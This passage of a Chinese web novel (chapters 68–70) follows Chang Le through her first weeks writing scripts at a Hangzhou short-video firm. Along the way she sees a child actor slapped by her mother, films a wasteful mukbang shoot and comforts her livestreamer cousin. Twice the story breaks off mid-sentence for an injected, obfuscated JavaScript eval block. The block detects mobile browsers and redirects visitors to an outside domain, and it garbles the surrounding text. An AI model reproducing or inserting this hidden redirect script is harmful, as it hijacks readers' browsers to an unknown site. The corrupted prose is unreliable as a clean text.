话音刚落,从楼梯上款款走下来一个身穿旗袍、妆容艳丽的女人。她走到姥爷身边,一只手挽着他的胳膊,另一只手轻抚着小腹,娇嗔道:“八十又怎么了?老爷,人家已经怀孕三个月了,我有预感,这胎一定是个儿子。” 常乐:…… 这是正常人类能想出来的剧情吗? 她忍不住望向小叶,内心充满了敬畏。原来她大半夜不睡觉,就是为了琢磨出这种逆天剧情啊?真是辛苦了。 只见小叶一直站在摄像机后,兢兢业业地举着手机,给演员提示台词。 姥爷勾起唇角,刚要说什么,忽然表情一滞,下意识望向小叶。 也许是手机上的字太小,他伸长脖子,眯起眼,努力想看清。 一瞬间,威严全无。 “卡!”编导喊停。 “抱歉啊。”姥爷讪讪地道歉,“我一时忘词了……” “没事没事。”刘老板安抚道,“第一次录制,已经表现得很好了。小叶——”他回头怒斥道:“你怎么搞的?也不知道给林老师换个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003489|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点的屏幕!没有Pad吗?” 小叶连忙道歉:“对不起,林老师,Pad我放在办公室了,下次一定带过来。” 姥爷也向她道歉:“对不起,是我的问题,我没把台词背熟……” 所幸,第二次拍摄顺利通过,姥爷获得短暂的休息时间。他搬了个小板凳坐在角落里,拿着打印稿,抓紧时间背台词。 “姥爷,”常乐调侃道,“姥姥要是看到一个美女搂着你,回去后肯定要扒了你的皮。” “就当为艺术献身了。”姥爷头也不抬地说。 旁边,一个小女孩正在看手机。她长得粉雕玉琢,穿着一身公主蓬蓬裙,旁边一个短发女人应该是她妈妈,正在指导她:“台词都背熟了吗?待会儿一定要哭出眼泪来,记住了吗?” 小女孩温顺地说:“记住了。” 常乐越看越觉得她有点眼熟,忽然想起,她关注过一个育儿博主,叫“西瓜与冬瓜”。她家有对龙凤胎,女孩长得乖巧可爱,男孩帅气懂事。眼前这个女孩,似乎就是其中之一。 “你好。”常乐主动跟女孩打招呼,“你是不是小西瓜啊?” 女孩抬起头,看向她妈妈,似乎已经习惯了这样的问话。 短发女人笑了下,说:“是的。” 常乐倍感惊喜:“哇,没想到会在这儿碰到你们。我很早就关注了你的账号,特别喜欢你家小孩。” 短发女人保持微笑,“谢谢。” “我还经常给你留言呢。”常乐掏出手机,正要打开抖音,短发女人脸上的笑容瞬间消失,冷冷道:“不好意思,我们不拍照。” “……哦。”常乐悻悻地收起手机。 她本来也没打算拍照,只想找到自己的留言,可是短发女人变脸这么快,她突然觉得…… 有点下头。 没过多久,编导开始催姥爷和小女孩进场了,常乐观摩了一会儿,觉得有些无聊,便在别墅里四处转悠,最后,在化妆间里找了个小沙发睡了一觉。 拍摄一直持续到深夜。 常乐醒来后看了眼手机,已经十点多了,也不知摄制组和演员们有没有吃饭。像她这样的闲散人员,只能自给自足了。 她用手机点了份外卖。半个小时后,外卖送到了厂房门外,她起身去取。 回来时,她刚把化妆间的门推开一道缝,突然听到里面传出一道尖厉的女声: “你到底会不会演戏?哭都不会吗?不会演趁早滚回家!” 叫骂声中隐隐夹杂着一个女孩低低的啜泣声:“妈妈,我困了,我能不能不演了?” “啪——” 一记清脆的巴掌声,吓得常乐差点飙脏话。 “不行!”女人扯着嗓子骂道,“该哭的时候不哭,现在哭有什么用?你跟你爸一样没出息,关键时刻掉链子!废物!” 常乐一时气急,血往上涌。她推门进去,嚷嚷道:“干嘛呢干嘛呢?这么晚了,小孩困了不是很正常吗?你是不是她亲妈啊?就不能好好说话吗?” 短发女人见到常乐,脸上瞬间转怒为笑,迎上来解释道:“你别误会,我家小西瓜不会演戏,我正在教她呢。小孩子嘛,你不亲自示范,根本学不会。” 常乐看着这张皮笑肉不笑的脸,后背起了一层鸡皮疙瘩。 她想,你倒是挺会演的,可惜,只能在化妆间里施展才华。 小女孩瑟缩在角落里,一脸惊恐地看着她们,脸上泪痕未干,还有一枚红红的掌印。 常乐看得心疼不已,举起手机,威胁短发女人:“你刚刚怎么对她的,我已经录下来了。你要是再敢打她骂她,我就把视频发到网上,让你体会一下一夜塌房、万人唾骂的滋味!” 短发女人脸色骤然变得阴冷,紧绷着唇,恶狠狠地盯着常乐。 她突然冷嗤一声,语气轻蔑:“不就是想要钱吗?你开个价吧。” 常乐翻了个白眼,将手机塞回兜里。 “我一分钱都不要。”她一字一顿道,“我说了,不准再这么对她!” 68. 68 短发女人斜乜常乐一眼,拖拽着小女孩,趾高气昂地离开了。小女孩走得踉踉跄跄,还一直回头望着常乐,眼眶红红的,眼神透着无助和害怕。 常乐重重地呼出一口气,提着外卖进了化妆间,一边咬牙切齿地撕咬着炸鸡,一边在手机里搜索“西瓜与冬瓜”的账号。 她翻看着每一条视频,越看越觉得讽刺。那些母慈女孝的美好画面、逗趣的对话、温馨的家庭氛围,原来全是演的。 互联网上还有什么是真的? 她叼着鸡骨头,腾出双手,在留言框里打了一堆字,想了想,还是删掉了。 有什么用呢?网友们不会信的。 一直到十二点,姥爷的戏份才拍完。 常乐跟他一起走出摄影棚时,回头看见小女孩还在镜头前一遍遍地哭泣,短发女人就站在摄影机后,用威胁的目光紧紧盯着她。 -- 姥爷也被安置在了丽文公寓,不同的是,他住的是个隔断房,配有独立的洗手间,虽然空间逼仄,隔音稍差,但比常乐住的员工宿舍强多了。 常乐稍稍放心下来,把姥爷送回房间后,就回到了自己的宿舍。 依旧是满室杂物,一片寂静,她打了个哈欠,抓紧时间洗头洗澡吹头发洗衣服。等她爬到床上时,小叶也刚好回来。 “拍完了?”常乐问她。 “嗯。”小叶一脸疲惫,放下包,瘫坐在椅子上,长叹了一口气。 “哎,我问你一件事。”常乐趴在床沿,压低声音问,“那个小西瓜是不是经常被她妈妈打骂啊?” 小叶有气无力地说:“正常。” “正常?”常乐皱起眉头,“我亲眼看到她妈甩了她一个耳光,就因为她犯困,哭不出来。这也叫正常?” 小叶转过身,懒洋洋地趴在椅背上,说:“我的意思是,这种事情在这个圈子里很常见。我同学是给童模拍照的,有的小孩一天要换上百套衣服,摆上千个pose,是怎么做到的?都是他们的经纪人,也就是父母,一脚一脚踹出来的。” 常乐听得目瞪口呆。 小叶继续说:“那个小西瓜也是,一开始不会演戏,全是她妈一巴掌一巴掌训练出来的。我们摄制组都见怪不怪了,只有化妆师会劝几句,叫她别打脸,不好上妆。” “卧槽!”常乐忍不住骂脏话,“这是人能干出来的事?就算把小孩当摇钱树,也不能往死里折腾吧?” “童模和童星的花期都是很短的,长大后就不可爱了,流量也会骤降,所以他们的父母都想抓紧时间变现。”小叶语带轻嘲,“而且,尝到了甜头后,这些父母都会生二胎三胎,继续吃这碗饭。” 常乐呆呆地瞪着她,一时竟不知该说什么。 沉默良久,她喃喃自语道:“那我该怎么帮她呢?” “谁啊?”小叶抬眼望着她,“小西瓜?我劝你别多管闲事。就算你报警说她妈虐待儿童,警察来了又能干什么呢?剥夺她妈的监护人资格?还是把小孩送到福利院?”小叶摇摇头,轻嗤一声,“根本不可能!所以,你帮不了她。” 常乐倒在床上,盯着天花板,只觉得浑身无力。 一闭上眼,小女孩那哀伤含泪的双眸就浮现在眼前,让她难以入眠。 -- 之后两天,常乐没有再去拍摄现场观摩。她收到了林文娟寄来的快递,把衣柜和床铺整理了一番,又买了两身新衣服,还去理发店剪了个新发型,打算以全新的面貌回归职场。 正式上班这天,她起得很早,才八点就到了公司门外。 结果,大门紧锁,里面空无一人。 一直等到九点多,公司前台才姗姗来迟。她一边开门,一边好奇地问常乐:“你是新来的吗?怎么来这么早?” “萱萱说,可以选择从早八上到晚八啊。”常乐有些懊恼,难道全公司只有她一人想保持健康的作息吗? 前台笑了,“公司是这么规定的,但是没人会来这么早,上午基本上没什么工作安排。” 于是,常乐坐在小沙发上,又等了一个多小时,才陆续看到有人进来。 见到萱萱,她立马站起身,扬起笑脸道:“萱萱老师,我今天来报道。” “你跟我上来。”萱萱踩着小高跟上了二楼,常乐赶紧跟在她身后,进了她的小办公室。 萱萱从抽屉里拿出一沓资料,递到常乐面前,解释道:“这是劳动合同,你看一下,如果没问题,就在这几个地方签字。” 常乐飞快浏览完合同的各项条款,签上自己的大名,萱萱又拿出一张工牌,起身说道:“我带你去录一下指纹。” 在她的指导下,常乐在打卡机上录好指纹,认识了编导组长和其他组员,还分到了一张窄小的工位。 “行了,你来安排她今天的工作吧。”萱萱对组长说完,又“噔噔蹬”地上楼了。 组长姓余,圆脸,身材微胖。她推了推眼镜,问常乐:“你会写短视频脚本吧?” 常乐昨天临时抱佛脚,在网上查过编导的工作内容和基本技能,感觉不难。所以,她自信地点头:“会。” “那我发给你一份资料,广告商是个美妆品牌,视频长度要六十秒,植入广告时间不少于二十秒,过渡不能太生硬,剧情要创新搞笑。你根据他的需求,写一条脚本给我看看。” 信息太多,常乐一时没有消化,但又不好多问,只能懵懵地说:“……行。” 她打开电脑,很快收到余组长发来资料,赶紧打开逐条研究。 甲方的需求并不复杂,要求在情侣互动中自然地植入他们家的一款面膜。常乐在脑海中进行了初步构思后,先写出脚本大纲,然后开始写分镜脚本,具体到每一个分镜有多长时间、如何运镜、有什么场景、如何设计动作和台词…… 忙完已经是中午了,常乐检查无误后,将文档发给余组长,起身出去吃饭。 等她吃完饭回来,余组长已经回到工位上,在检查她的工作成果了。 “写得还不错。”余组长夸完,又来了了一句:“就是效率有点低。你花了多长时间?” 常乐回忆片刻,“两个小时吧。” 余组长蹙起眉,“这个速度可不行啊。你今天要写十条脚本,岂不是要二十个小时?” “十条?!”常乐简直难以置信。 之前,她在家里给姥爷写一个脚本,至少要花半天时间,今天她只用了两个小时,效率已经大大提升了。 一天十条,简直难以想象,她得写到什么时候? “十条已经很少了。”余组长说,“像你旁边的小叶,一天至少要写二十条。” 常乐觉得匪夷所思:“公司有那么多视频要拍吗?” “你们写的脚本只是初稿,最后能不能选上,还要由选稿会集体决定。每条视频至少要写出十条脚本,再选出三条,发给广告商做选择。”余组长解释完,又在电脑上敲敲打打,“资料已经打包发给你了,抓紧时间写吧,下班之前给我。” 常乐呆呆地坐在工位上,恍惚中觉得,脖子上的工牌就像一条沉甸甸的锁链,将她拴在磨上,哪儿都去不了。 电脑的开机声宛如身后扬起一道鞭子。 下午,小叶拎着一杯冰美式来上班了。常乐刚绞尽脑汁写完第二个脚本,看到小叶,仿佛抓住一根救命稻草。 她迫不及待地问:“小叶,听说你一天写二十个脚本,是怎么做到的啊?” 小叶说得轻巧:“这又不难,按照模版来就行。” “可是,我刚写完两个,就用光了所有的脑细胞 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她根据自己要写的脚本,从网上找到几个类似的爆款视频,逐一扒下它们的时间线、分镜、场景、画面、动作,然后照搬进自己的脚本里。 为了不抄得太明显,她把台词都改成了自己原创的。 虽然套用公式大大提高了效率,但是工作量太大,需要动脑子的地方还是很多,常乐写完十个脚本后,扭了扭僵硬的脖子,抬眼望去,窗外的天已经全黑了。 再看一眼手机,九点多了。易诚在几个小时前给她发了条微信:【还适应吗?】 常乐心头泛起一股酸涩。她快速整理好文档,打包发给余组长,然后关掉电脑。 办公室里大部分人都沉浸在电脑前,丝毫没有要下班的意思,但常乐不在乎。她只知道,她早上八点就来了,中午没有休息,甚至连晚饭都没吃。 她起身收拾东西,打卡下班。 走出公司,她才回复易诚:【还行。】 易诚很快发来一条:【听你的语气,好像不太开心。】 常乐不禁苦笑。她只打了两个字,听得出什么语气? 她一边往电梯口走,一边慢慢打字:【第一天上班,感觉好累。】 易诚:【现在才下班吗?吃饭了吗?】 常乐发了个哭脸表情:【没有。】 易诚:【赶紧去吃啊。第一天上班就这么透支自己,以后还怎么坚持?】 常乐叹了口气:【太累了,只想回去躺着。】 易诚过了好半天才回复:【你是住在丽文公寓一单元2215吧?前几天帮你妈寄快递,她给我的地址。】 常乐:【对啊。怎么了?】 易诚:【给你点了份外卖,二十分钟后送到。】 常乐感动得简直要哭了,给他发了一连串“谢谢老板”的磕头表情包。 电梯到了。常乐很快回到宿舍,坐在桌边玩了会儿手机,就听到有人敲门。 她冲过去开门,从小哥手里接过一袋肯德基外卖。 打开盒子,里面是一整只油滋滋、香喷喷的烤鸡。 常乐惊喜不已,兴奋地拍下照片,发给易诚:【我正好想吃这个!你怎么知道?】 易诚:【因为我犯猪瘾的时候也好这一口。】 常乐戴上一只手套,撕下一条鸡腿,大口啃了起来,另一只手回复易诚:【谢谢恩公。】 易诚:【记住,吃饭和睡觉才是头等大事,工作什么的都是狗屁,不值得往心里去。】 常乐:【可是,狗屁有时候真的很臭,让你吃不下饭,睡不好觉。】 易诚:【再臭,那也只是个屁,风一吹就散了。】 常乐忍不住笑了,心满意足地啃着鸡腿。空气中弥漫着一股浓郁的鲜香,从鼻尖一直蔓延到了心底。 69. 69 第二天,常乐学聪明了,美美地吃了个饱饭后,十点才去公司。 大门已经开了,前台美女正在对镜补妆,常乐打完卡,走向自己工位,打开电脑,趁着组长还没来,摸了会儿鱼。 十点半,余组长到了。 见到常乐,她的脸拉得老长,劈头盖脸地问:“昨天怎么没参加选稿会?” “……啊?”常乐站起身,讷讷地说,“昨天有选稿会?我不知道啊。” “群里不是通知了?” “群?我没加啊。” 余组长不耐烦地“啧”一声,掏出手机,“忘了,还没拉你进群。” 常乐赶紧打开微信,扫余组长的二维码,加她为好友。 不一会儿,她就被拉入一个名为“快乐加班”的群里。 余组长又问:“你昨天走那么早干嘛?” “……啊?我是正常下班啊。”常乐想了想,替自己辩护道,“你不是说让我下班前把脚本发给你吗?我发完了才走的。” 余组长眉头一皱,“我让你下班前发给我,又没说你发给我就可以下班了。” 常乐:“……” 你说的是人话吗? 今天常乐的任务还是写十条脚本。她本以为,经过昨天的训练,她已经驾轻就熟,能够轻松胜任,不料,刚写完两条,余组长就安排她跟小叶一起出外勤。 常乐收拾好要带的装备,急匆匆地跟在小叶后面,在前台打卡登记,然后快步走出办公室。 小叶边走边向她介绍:“咱们要去跟拍一个探店达人,叫大胃王杨哥,你看过他的视频吗?” 常乐摇摇头。她一向对什么大胃王不感兴趣,每次刷到类似的视频,都会立刻划走,一秒都不想多看。 小叶说:“没看过也没事,美食博主的套路都一样,台词我都写好了,到时候你负责给他翻页。” 常乐想起那天姥爷拍摄的情景,便问:“就是在摄像头后面举着手机吧?” “对。你提前熟悉一下台词,翻页的时候反应快一点。” 她们在楼下等了会儿,一个戴墨镜、满脸橘皮、挺着大肚腩的中年男人晃晃悠悠地走了过来。 旁边的年轻女孩应该是他的助理,提着大包小包,脚踩细高跟还健步如飞。 “杨哥!”小叶笑盈盈地迎上去,上下打量他一番,夸赞道:“这身衣服挺潮啊,巴黎世家的吧?” 杨哥扬起肥硕的大手,摆了摆,“嗐,去年的老款了。” 小叶叫了辆商务车,几人坐上去,杨哥一个人就占了一整排,鞋也不脱,大喇喇地躺了下来。 半个小时后,车子停在一家烤肉店门外。店主是几个年轻小伙子,正在门口等候他们。 接着,小叶和常乐从包里掏出各种布景用的材料,在一张靠窗的圆桌旁布置起来,然后搭起两盏补光灯,架好摄影和录音设备,一切准备就绪后,服务员们端上一盘盘肉片、海鲜、蔬菜,将圆桌摆得满满当当。 杨哥坐在补光灯前,摘下墨镜,一旁的美女助理打开化妆包,开始给他上妆。 这张脸有什么可化的?常乐在心里嘀咕,肥头大耳,坑坑洼洼,化了妆不是丑得更明显了吗? 等这道工序完成,烤盘也预热得差不多了。美女助理坐在一旁,负责烤肉。常乐则蹲在杨哥对面,横举着手机,等他说完一句台词,就点一下屏幕翻页。 杨哥活动了一下脸部肌肉,瞪大双眼,语气浮夸地说:“家人们,一点不夸张,这家烤肉店绝对是杨哥近期吃过最好吃的一家!” 常乐急忙翻页。 “你们看,这盘吊龙是从蒙古空运来的,绝对新鲜,一盘足足有半斤!” 吊龙很快烤好了,杨哥夹起一大片,在酱料盘里转上一圈,塞进嘴里,嚼啊嚼,嘴唇上下翻动,金黄的油顺着嘴角淌下…… 常乐竭力克制住自己,不露出嫌弃的表情。 吃了几片吊龙,美女助理就将烤盘中剩下的烤肉都夹起来,扔进了垃圾桶。 常乐:“!!!” 浪费粮食可耻! 吃不完可以给她们吃啊!这桌上还有两个饥肠辘辘的打工人呢! 接下来的每一盘都是这样,杨哥先是象征性地吃了几口,然后对着镜头,露出夸张的表情,连连称赞,最后由助理负责清场。 常乐看着垃圾桶里满满的食物,有蒙古空运来的牛肉,有活蹦乱跳的大虾,有烤得油滋滋、香喷喷的羊排,还有店家秘制酱料的五花肉…… 此刻,她对杨哥,乃至对所有大胃王的厌恶达到了顶峰,恨不得当场掏出手机,怒发十篇小红书避雷帖。 一顿烤肉吃了两个多小时,结束拍摄时已经快六点了。杨哥和美女助理收了店家的红包后,提前打车离开,留下小叶和常乐收拾装备,清理现场。 常乐忍不住好奇心,小声问小叶:“请杨哥拍一场要多少钱啊?” 小叶说:“杨哥粉丝有四十多万,探店视频的合作费是两万,公司跟他按比例分成,店家还得另外给他一个几千块钱的红包。” 常乐不禁瞠目,“这么贵?店家能回本吗?” 小叶笑她大惊小怪:“现在谁开店不打广告啊?这都是商家的营销费用,很正常。” 两人收拾好后,离开了烤肉店,走到热闹的大街上。 “咱们吃了饭再回去吧。”小叶提议。 “好啊!”常乐积极响应。 她掏出手机,在大众点评上找附近的美食,小叶却指着路边摊说:“哪有功夫坐下来吃啊?买个手抓饼得了。” “……啊?”常乐看着手抓饼小摊,刚刚勾起的食欲,瞬间被冷水浇灭。 小叶提醒她:“回去还得加班呢。你的脚本还没写完吧?” 常乐的肩膀一下子耷拉下来。 她又想起被杨哥和助理倒掉的那一盘盘烤牛肉、大虾、羊排、五花肉……这才真切地体会到,什么叫“朱门酒肉臭,路有冻死骨”。 常乐啃完手抓饼,回公司继续加班,眼看就要写完了,又得去参加选稿会,一群人叽叽喳喳讨论了一个多小时才出结果,出来后还得继续写…… 下班时已经过了十二点。 常乐沮丧地想,在这种环境下,想要保持健康的作息,根本是奢望。不管她几点上班,下班时间总是超过零点。 她只能越睡越晚,导致上班越来越晚,下班也越来越晚。直到周末,她才惊觉,她的作息已经跟小叶同步了。 周日晚上,林文娟打来视频电话,常乐正在电脑前筛选拍摄素材,看了两个多小时,已经头晕眼花。 手机响起时,常乐一边想着手里的活儿还没干完,一边想到她已经一周没跟家人说话了。她迟疑了片刻,起身走进洗手间的隔间,接通视频。 “妈。”常乐努力挤出笑脸,“家里都还好吧?” “都好。”林文娟一眼就看出异常,“你在哪儿呢?怎么还有回声?” 常乐镇定地说:“洗手间呢,正好在上厕所嘛。” 林文娟“噫”了一声,又问:“下班了吗?” “还没呢。” “啧。都九点了还不下班?” “马上。”常乐敷衍道。 “吃饭了吗?” 常乐的肚子不合时宜地叫了一声,脸上依旧保持着笑容,“早就吃了,你们呢?” “吃了,今天我去买了两斤小龙虾,做了个红烧虾球,你爸吃得可香了。给你发了照片,你没看到吗?” “刚刚在忙呢,没注意。”常乐语气有些失落。 常建民也挤到屏幕里,大声说:“可好吃了!等你回来让你妈给你做。” “好啊。”常乐羡慕地咂咂嘴。 屏幕中,林文娟后面晃过一个身影,常乐忙问:“姥姥还好吧?“ “好着呢。”林文娟回过头,冲屏幕外喊道:“妈,你要不要跟乐宝说几句?” 等了会儿,姥姥的声音传来:“你让她好好吃饭,注意休息,别熬夜玩手机。” 林文娟:“你自己来说嘛。” “哎呀,我懒得说。” 姥姥嘴上这么说,人却一直在林文娟身后晃来晃去,一会儿去拿个水杯,一会儿又假装拖地,眼角不时瞟一眼屏幕里的常乐。 “哼,没怎么瘦,看来在那边过得挺好。” 常乐忍不住笑了,鼻头却一阵发酸。 她掩饰地揉了揉鼻子,问林文娟:“姥姥还生我气呢?” “你还不知道她吗?刀子嘴豆腐心,早就不气了,就是拉不下面子。”林文娟说,“对了,你姥爷怎么样?” 常乐说:“他啊,每天都有戏拍,过瘾得很。” 屏幕外又飘来一声“哼”。 林文娟匆匆交代了几句,最后催促常乐:“活儿干完了就早点回去。对了,明天你休息吧?有什么安排?” “睡觉啊。”这是常乐此刻最想做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023066|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 这时,常建民的大脸又挤到了林文娟前面,对常乐说:“听说常悦也是周一周二休息,你可以找她出来玩啊。” 常乐懒洋洋地“嗯”了一声,“我明天联系她。” 视频挂断后,她对着灰白的隔间门板,发了好久的呆。 再一次背井离乡、踏入职场,所有的感觉都回来了:疲惫、困倦、麻木、渐渐焦躁、轻微窒息…… 已经九点多了,她还没吃饭,可是电脑里还有成堆的工作在等着她。 常乐抽出一张纸巾,紧紧捂住双眼,不想让眼泪流下来。 -- 周一中午,常乐昏昏沉沉地醒来。 她凌晨四点才睡,作息已经跟舍友们完全同步了,连小叶都忍不住劝她:“才第一周,你悠着点,别把自己逼得太狠了。” 常乐无奈地叹了口气,想解释几句,又觉得没必要。 她跟常悦发了条微信,下午才收到回复:【我刚起床。去吃饭吗?好啊,我请你吧。】 两人约了个时间,在一楼大堂碰头。 常悦带常乐去了西湖边一栋古色古香的小楼。在二楼靠窗的位置,两人坐下,点了几样杭帮菜和一壶龙井。 “这家很贵吧?”常乐小声问。 常悦笑了笑,“没事儿,你刚来嘛,我必须尽地主之谊。” 常悦化了个全妆,但常乐只涂了个防晒就出门了,所以脸上的疲惫一览无遗。 “上班很辛苦吧?”常悦给她倒了杯茶,“你看你,无精打采的,像一颗蔫了的生菜,跟上次完全不一样。” 常乐微微一愣。 她恍惚中想起,珍姐好像也这么形容过她。 不同的是,珍姐说她回家之后变得水灵灵的,像一颗蔫了的生菜,又重新插回了水里。 职场果然是人间炼狱啊,把她这颗可怜的小生菜,折磨得死去活来的。 常乐看着常悦精致的脸庞,羡慕地说:“我要是像你这么漂亮就好了。我一没长相二没才华,学历也不上不下,只能当个底层牛马了。” 常悦不禁苦笑:“我也是牛马啊。我每天要对着手机直播六个小时,就算没有一个人看,也要不停地说话,跟个神经病一样——” 话未说完,搁在桌上的手机响了,她拿起一看,眉头又皱了起来。 “你看,我那个傻叉老板又在骂我了。”常悦长叹一口气,拿起手机,手指飞快地打字,打完后把手机甩到桌上,翻了个白眼。 常乐察觉到她心情不佳,小心翼翼地问:“怎么了?” 常悦烦躁地抠着长指甲,说:“他说我昨天直播的成绩太差,下单的人太少,没有达到广告商的要求,要扣我提成。” 常乐安慰她:“这也不能怪你啊,现在直播行业竞争这么激烈,同一款产品有好多直播间都在卖,你只能打价格战……” 她越说越小声,最后索性沉默了。 因为,她看见常悦的眼眶里蓄满了泪水。 “别哭了。”常乐伸出手,覆在常悦的手背上,轻轻捏了捏,“不是你的错。” 常悦低着头,精致的睫毛抖动着,泪水顺着脸颊缓缓滑落,滑下两道黑黢黢的泪痕。 “别哭了。”常乐提醒她,“你妆都花了,挺吓人的。” 常悦一惊,急忙抽出几张纸,擦了擦脸,又垫在睫毛下,吸干了泪水,最后从包里掏出小镜子和粉扑,仔细地补起了妆。 她边补妆边骂:“这什么狗屁.眼线,说能持妆一整天,结果才哭了一会儿,就晕成这个鬼样子!” 常乐忍不住笑了,用易诚的话来劝她:“工作什么的都是狗屁,根本不值得你流眼泪。” “我不是为了工作哭。”常悦收起小镜子,叹了口气,“我看到你,就想起刚来杭城时的自己,也是满怀期待、干劲十足。” 她摇摇头,自嘲地笑了,继续说:“可是,我在这个圈子里混了快十年,从淘宝模特到带货主播,跟我一起入行的姐妹,有的靠婚姻实现了阶级飞跃,有的成了大网红实现财富自由,有的建立起了自己的女装品牌,当上了老板,只有我,还是个底层牛马,天天担心没流量、担心数据不好……” 常乐怔怔地看着她,一时不知道该怎么开口,只好再次覆住她的手,安慰地捏了捏。 常悦的眼泪又滚落下来,声音闷闷的,透着浓浓的沮丧:“我就不明白了,我长得不差,能力也不差,为什么就是翻不了身?” 70. 70 之后的一个多小时里,常悦跟常乐絮絮叨叨地哭诉这些年的辛酸往事,期间还接了个老板的电话。 她直接对着手机破口大骂:“小雨数据好,是因为公司把资源都砸她身上了,花钱买流量买推广买水军,我呢?你给我花过钱吗?别以为我不知道你们俩是什么关系,她之前就是个外围女——” 常乐赶紧起身,捂住常悦的嘴。 “姐,小声点!” 常乐紧张地东张西望,周围已经有不少人投来意味深长的目光,她小声提醒常悦:“你好歹是半个公众人物,要注意形象。” “呸呸,一手的汗味。”常悦嫌弃地扒开她的手,电话那头,老板已经挂断了电话。 “我算个什么公众人物?”常悦语带自嘲,拿起筷子扒拉着碗里冷掉的菜叶,“杭城到处是网红,遍地是主播。出了直播间,谁认识我?” 常乐给她夹了一块东坡肉,安慰道:“慢慢来嘛,你还这么年轻,说不定哪天就被流量砸中了呢?” 常悦低着头,闷闷不乐地说:“不年轻了,这个行业更新换代太快了,不停地有年轻人涌进来,我们这些老帮菜,要是做不出成绩,迟早要被优化掉。” 她忽然抬起头,“对了,就我刚刚说的那个小雨,你知道她数据为什么好吗?”她压低声音,神神秘秘地说:“她特别擦!一撒娇就抖胸,那两坨简直波涛汹涌,啧啧啧……男人就喜欢这种,而且我们老板也默许了。”她无奈地摇摇头,“现在社会就是这样,笑贫不笑娼。” 常乐一时哑然。 常悦又想到什么:“对了,你刚刚说,你们公司HR叫萱萱?我认识她,之前一起参加过一个线下活动。”舀了一勺汤后,她又补了一句:“她跟你们老板的关系也不一般。” “啊?”常乐瞪大眼,“哪个老板?” “姓刘的那个。” 常乐恍然大悟,难怪一个大网红要当HR,原来是半个老板娘啊。 她追着常悦问:“你还知道什么八卦啊?” 一方面,她确实喜欢吃瓜,越炸裂越震碎三观,她就听得越起劲;另一方面,她发现常悦在聊到这些事的时候,情绪明显亢奋多了。这也不失为一个转移她注意力的好办法。 常悦喋喋不休地说了一个多小时,从某知名情侣博主各自劈腿,到某三胎宝妈的孩子都是租的,从某名媛其实是某个有钱老头的金丝雀,到某英国留子炒币亏损近千万…… 常乐听得瞠目结舌,一时竟不知是自己太单纯,还是这个圈子太混乱太虚伪,好像一切都是包装,都是人设,都是为了流量。 等常悦终于说累了,停下来喝口茶时,常乐突然冒出个想法:“哎,不如你在网上发视频,吐槽网红圈乱象,揭秘圈内人八卦,肯定能火!” 常悦一口茶差点喷出来,“得了吧,我还想继续在这个圈子混呢。” “你可以开个小号啊。”常乐替她出谋划策,“你把脸挡住,开变声器,吐槽别人的时候不要点名道姓,说完再加上一句‘如有雷同,纯属巧合,请勿对号入座’。” 常悦漫不经心道:“等我跟公司解约了再说吧。我现在赚的每一分钱,公司都要分走大半,如果发现我接私活……”她想到后果,连连摆手,“算了算了,还是老老实实打工吧。” 常乐撇撇嘴,只好作罢。 -- 短暂的双休在吃饭和睡觉中飞速溜走。闹钟一响,常乐又做回了牛马。 不过,这周有个好消息:姥爷参演的那一集短剧上线后,播放量很高,点赞和评论数也在节节攀升。 姥爷饰演的财阀老爷,虽然是个反派,但因为人设离谱,台词搞笑,前后反差巨大,所以很受网友的喜欢。 他得知消息后,备受鼓舞,干劲十足,整天守在拍摄现场,不是在背台词,就是在对着镜子练习表情和动作,直到剧组收工了才肯回家。 与此同时,常乐也被安排了一项新任务:公司新签了两个年轻人,计划给他们开设一个主账号和一个副账号,由常乐做内容策划,设计故事框架和情节发展,撰写每一集的脚本,并制定拍摄方案。 常乐兴奋地搓搓手,跃跃欲试。 结果,一看到账号的名字,她当场傻眼。 “‘十八岁小孕妇’?这……合理吗?” 别说不合理,她甚至怀疑这都不合法。 余组长解释道:“这是运营组给我们提供的创意。他们分析数据,发现最近这类视频很火,所以想做个类似的账号。” 很火?常乐觉得匪夷所思。 现在的网友都这么猎奇吗? 余组长不容置疑地说:“总之,我们开会讨论过了,确定了大纲:女主刚上大学,发现自己怀孕了,之后在学校养胎,直到孩子出生。至于故事背景和剧情走向,就由你来设计了。尽量多增加槽点,网友喜欢看。” 常乐:“……” 这还需要她来加吗?这段简介的每个字都是槽点啊!路过的狗都要进来骂几句。 她颤颤巍巍地说:“等等,我缓缓啊……” 余组长翻开本子,说:“第一集的标题我们都想好了,就叫‘大学军训第一天,我发现自己怀孕了’,或者‘同一天收到了大学录取通知书和孕检结果’,再或者,‘在大学宿舍养胎是一种什么体验’。你看看哪个更吸睛。” 常乐脸上的表情就像吃了只苍蝇。 余组长继续说:“第一集只需要女主出场,之后可以增加一些配角,比如难相处的室友,在背后嚼舌根的同学,冷眼相对的医生,不理解的父母等等……” 常乐立刻响应:“这些人物我都可以写!” 每一个她都能代入其中,写得情真意切。 “行,那你开工吧。”余组长放心了,合上本子,“下班前把第一集的脚本写好发给我。” 常乐回到工位,对着空白的文档发了会儿呆,然后打开抖音,找了几个风格相近的博主,有未婚先孕的单亲妈妈,有背着宝宝上课的大学生,有嫁入山区连生三娃的女硕士…… 常乐逐一观看她们的视频,边看边翻白眼,感觉自己都要气晕过去了。 